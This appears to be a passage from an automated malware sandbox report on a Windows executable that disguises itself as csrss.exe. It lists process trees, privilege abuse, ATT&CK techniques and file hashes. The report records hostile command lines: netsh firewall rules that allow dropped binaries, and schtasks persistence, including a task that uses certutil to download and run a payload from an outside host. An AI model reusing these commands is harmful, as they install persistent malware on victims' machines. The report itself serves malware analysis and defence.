7bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	csrss.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.execsrss.exe

pid	process
4372	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
4372	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
2456	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
2456	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
3912	csrss.exe
3912	csrss.exe
3912	csrss.exe
3912	csrss.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

Processes:

3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	4372	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
Token: SeImpersonatePrivilege	4372	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
Token: SeTcbPrivilege	1976	svchost.exe
Token: SeTcbPrivilege	1976	svchost.exe
Token: SeBackupPrivilege	1976	svchost.exe
Token: SeRestorePrivilege	1976	svchost.exe
Token: SeBackupPrivilege	1976	svchost.exe
Token: SeRestorePrivilege	1976	svchost.exe
Token: SeBackupPrivilege	1976	svchost.exe
Token: SeRestorePrivilege	1976	svchost.exe
Token: SeSystemEnvironmentPrivilege	3912	csrss.exe
Token: SeBackupPrivilege	1976	svchost.exe
Token: SeRestorePrivilege	1976	svchost.exe
Token: SeBackupPrivilege	1976	svchost.exe
Token: SeRestorePrivilege	1976	svchost.exe
Token: SeBackupPrivilege	1976	svchost.exe
Token: SeRestorePrivilege	1976	svchost.exe
Token: SeBackupPrivilege	1976	svchost.exe
Token: SeRestorePrivilege	1976	svchost.exe
Token: SeBackupPrivilege	1976	svchost.exe
Token: SeRestorePrivilege	1976	svchost.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

svchost.exe3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.execmd.execmd.execsrss.exe

description	pid	process	target process
PID 1976 wrote to memory of 2456	1976	svchost.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
PID 1976 wrote to memory of 2456	1976	svchost.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
PID 1976 wrote to memory of 2456	1976	svchost.exe	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
PID 2456 wrote to memory of 3212	2456	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe	cmd.exe
PID 2456 wrote to memory of 3212	2456	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe	cmd.exe
PID 3212 wrote to memory of 1476	3212	cmd.exe	netsh.exe
PID 3212 wrote to memory of 1476	3212	cmd.exe	netsh.exe
PID 2456 wrote to memory of 4000	2456	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe	cmd.exe
PID 2456 wrote to memory of 4000	2456	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe	cmd.exe
PID 4000 wrote to memory of 2624	4000	cmd.exe	netsh.exe
PID 4000 wrote to memory of 2624	4000	cmd.exe	netsh.exe
PID 2456 wrote to memory of 3912	2456	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe	csrss.exe
PID 2456 wrote to memory of 3912	2456	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe	csrss.exe
PID 2456 wrote to memory of 3912	2456	3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe	csrss.exe
PID 1976 wrote to memory of 4908	1976	svchost.exe	schtasks.exe
PID 1976 wrote to memory of 4908	1976	svchost.exe	schtasks.exe
PID 1976 wrote to memory of 4928	1976	svchost.exe	schtasks.exe
PID 1976 wrote to memory of 4928	1976	svchost.exe	schtasks.exe
PID 1976 wrote to memory of 3776	1976	svchost.exe	patch.exe
PID 1976 wrote to memory of 3776	1976	svchost.exe	patch.exe
PID 3912 wrote to memory of 868	3912	csrss.exe	bcdedit.exe
PID 3912 wrote to memory of 868	3912	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
"C:\Users\Admin\AppData\Local\Temp\3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4372

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 368
2⤵
- Program crash
PID:2308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 392
2⤵
- Program crash
PID:2276

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 372
2⤵
- Program crash
PID:504

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 608
2⤵
- Program crash
PID:4628

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 708
2⤵
- Program crash
PID:5112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 728
2⤵
- Program crash
PID:4696

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 728
2⤵
- Program crash
PID:4652

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 708
2⤵
- Program crash
PID:2008

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 752
2⤵
- Program crash
PID:3780

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 896
2⤵
- Program crash
PID:3620

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 836
2⤵
- Program crash
PID:1648

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 692
2⤵
- Program crash
PID:3400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 700
2⤵
- Program crash
PID:4732

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 780
2⤵
- Program crash
PID:4712

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 772
2⤵
- Program crash
PID:228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 872
2⤵
- Program crash
PID:4700

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 884
2⤵
- Program crash
PID:4860

C:\Users\Admin\AppData\Local\Temp\3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe
"C:\Users\Admin\AppData\Local\Temp\3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2456

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2456 -s 324
3⤵
- Program crash
PID:3024

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2456 -s 332
3⤵
- Program crash
PID:4976

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2456 -s 332
3⤵
- Program crash
PID:1880

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2456 -s 592
3⤵
- Program crash
PID:4756

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2456 -s 676
3⤵
- Program crash
PID:4984

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2456 -s 676
3⤵
- Program crash
PID:3984

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2456 -s 676
3⤵
- Program crash
PID:3788

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2456 -s 728
3⤵
- Program crash
PID:960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2456 -s 716
3⤵
- Program crash
PID:4708

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\83876a664c4b\83876a664c4b.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:3212

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\83876a664c4b\83876a664c4b.exe" enable=yes
4⤵
PID:1476

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:4000

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
PID:2624

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 368
4⤵
- Program crash
PID:1044

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 392
4⤵
- Program crash
PID:1864

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 416
4⤵
- Program crash
PID:1236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 508
4⤵
- Program crash
PID:2676

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 556
4⤵
- Program crash
PID:4188

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 556
4⤵
- Program crash
PID:3920

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:4908

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:4928

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 664
4⤵
- Program crash
PID:724

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 804
4⤵
- Program crash
PID:5000

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 804
4⤵
- Program crash
PID:4844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 936
4⤵
- Program crash
PID:1348

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 928
4⤵
- Program crash
PID:2364

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 928
4⤵
- Program crash
PID:4224

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 980
4⤵
- Program crash
PID:3672

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 924
4⤵
- Program crash
PID:5112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 1080
4⤵
- Program crash
PID:392

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 1008
4⤵
- Program crash
PID:3284

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 1116
4⤵
- Program crash
PID:3488

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:3776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 1136
4⤵
- Program crash
PID:3156

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:868

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 1180
4⤵
- Program crash
PID:4664

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 1084
4⤵
- Program crash
PID:2000

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 1196
4⤵
- Program crash
PID:1972

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 1220
4⤵
- Program crash
PID:3764

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 1276
4⤵
- Program crash
PID:4444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 1596
4⤵
- Program crash
PID:2212

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 1844
4⤵
- Program crash
PID:2964

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 1864
4⤵
- Program crash
PID:3640

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 1832
4⤵
- Program crash
PID:1052

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 1596
4⤵
- Program crash
PID:892

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 1696
4⤵
- Program crash
PID:4960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 1828
4⤵
- Program crash
PID:4792

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 1960
4⤵
- Program crash
PID:1788

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 1912
4⤵
- Program crash
PID:1964

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 1768
4⤵
- Program crash
PID:2972

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 1748
4⤵
- Program crash
PID:3260

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 1836
4⤵
- Program crash
PID:1284

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 1976
4⤵
- Program crash
PID:3524

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4372 -ip 4372
1⤵
PID:992

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4372 -ip 4372
1⤵
PID:2252

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4372 -ip 4372
1⤵
PID:2552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 4372 -ip 4372
1⤵
PID:3672

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 4372 -ip 4372
1⤵
PID:4952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4372 -ip 4372
1⤵
PID:4692

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 4372 -ip 4372
1⤵
PID:1692

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4372 -ip 4372
1⤵
PID:4540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4372 -ip 4372
1⤵
PID:5048

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 4372 -ip 4372
1⤵
PID:2268

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4372 -ip 4372
1⤵
PID:3252

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4372 -ip 4372
1⤵
PID:2888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4372 -ip 4372
1⤵
PID:2664

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 4372 -ip 4372
1⤵
PID:2000

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4372 -ip 4372
1⤵
PID:216

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4372 -ip 4372
1⤵
PID:4420

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4372 -ip 4372
1⤵
PID:1416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1976

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 2456 -ip 2456
1⤵
PID:3596

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2456 -ip 2456
1⤵
PID:540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 2456 -ip 2456
1⤵
PID:4348

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 2456 -ip 2456
1⤵
PID:4340

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 2456 -ip 2456
1⤵
PID:1760

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 2456 -ip 2456
1⤵
PID:4316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2456 -ip 2456
1⤵
PID:8

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 2456 -ip 2456
1⤵
PID:864

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 2456 -ip 2456
1⤵
PID:4380

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3912 -ip 3912
1⤵
PID:716

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 3912 -ip 3912
1⤵
PID:4336

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3912 -ip 3912
1⤵
PID:4144

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 3912 -ip 3912
1⤵
PID:4312

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 3912 -ip 3912
1⤵
PID:1860

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 3912 -ip 3912
1⤵
PID:776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3912 -ip 3912
1⤵
PID:3524

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 3912 -ip 3912
1⤵
PID:524

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3912 -ip 3912
1⤵
PID:992

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3912 -ip 3912
1⤵
PID:924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3912 -ip 3912
1⤵
PID:2304

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 3912 -ip 3912
1⤵
PID:2696

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3912 -ip 3912
1⤵
PID:504

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3912 -ip 3912
1⤵
PID:4952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3912 -ip 3912
1⤵
PID:3824

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 3912 -ip 3912
1⤵
PID:4648

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3912 -ip 3912
1⤵
PID:3908

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 3912 -ip 3912
1⤵
PID:4164

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3912 -ip 3912
1⤵
PID:5072

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3912 -ip 3912
1⤵
PID:4732

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 3912 -ip 3912
1⤵
PID:2312

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3912 -ip 3912
1⤵
PID:2156

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3912 -ip 3912
1⤵
PID:4964

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 3912 -ip 3912
1⤵
PID:752

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 3912 -ip 3912
1⤵
PID:1880

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3912 -ip 3912
1⤵
PID:4756

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3912 -ip 3912
1⤵
PID:4984

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 3912 -ip 3912
1⤵
PID:3124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3912 -ip 3912
1⤵
PID:3788

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3912 -ip 3912
1⤵
PID:964

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3912 -ip 3912
1⤵
PID:1792

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 3912 -ip 3912
1⤵
PID:1372

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3912 -ip 3912
1⤵
PID:1292

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 3912 -ip 3912
1⤵
PID:4800

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3912 -ip 3912
1⤵
PID:4092

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 3912 -ip 3912
1⤵
PID:4868

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

2

T1112

Install Root Certificate

1

T1130

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
06c8604388daf79027ed873eb90cf2d6

SHA1
6caab7c9ebcd8aeab6e135273f845dbaf0d53459

SHA256
3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e

SHA512
3263f2a24297711ee35ae02ba9af1dc6b60730cbbd325905ea2ae4600ce1b138c9fb8cc927669547587f71dbaf3a74fb6d65d0836f309f1e8fff605541f2b21f

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
06c8604388daf79027ed873eb90cf2d6

SHA1
6caab7c9ebcd8aeab6e135273f845dbaf0d53459

SHA256
3b7a43ce942b5e273d5d52fa9b9c0221fd0d8c59cf428809756c232fee484f8e

SHA512
3263f2a24297711ee35ae02ba9af1dc6b60730cbbd325905ea2ae4600ce1b138c9fb8cc927669547587f71dbaf3a74fb6d65d0836f309f1e8fff605541f2b21f

Download Submit
memory/868-150-0x0000000000000000-mapping.dmp

Download
memory/1476-137-0x0000000000000000-mapping.dmp

Download
memory/2456-133-0x0000000000000000-mapping.dmp

Download
memory/2456-134-0x0000000002C59000-0x0000000003000000-memory.dmp

Filesize
3.7MB

Download
memory/2456-135-0x0000000000400000-0x0000000000D22000-memory.dmp

Filesize
9.1MB

Download
memory/2624-139-0x0000000000000000-mapping.dmp

Download
memory/3212-136-0x0000000000000000-mapping.dmp

Download
memory/3776-148-0x0000000000000000-mapping.dmp

Download
memory/3912-140-0x0000000000000000-mapping.dmp

Download
memory/3912-143-0x0000000002F00000-0x00000000032A7000-memory.dmp

Filesize
3.7MB

Download
memory/3912-144-0x0000000003300000-0x00000000039F6000-memory.dmp

Filesize
7.0MB

Download
memory/3912-145-0x0000000000400000-0x0000000000D22000-memory.dmp

Filesize
9.1MB

Download
memory/4000-138-0x0000000000000000-mapping.dmp

Download
memory/4372-130-0x0000000002C6B000-0x0000000003012000-memory.dmp

Filesize
3.7MB

Download
memory/4372-132-0x0000000000400000-0x0000000000D22000-memory.dmp

Filesize
9.1MB

Download
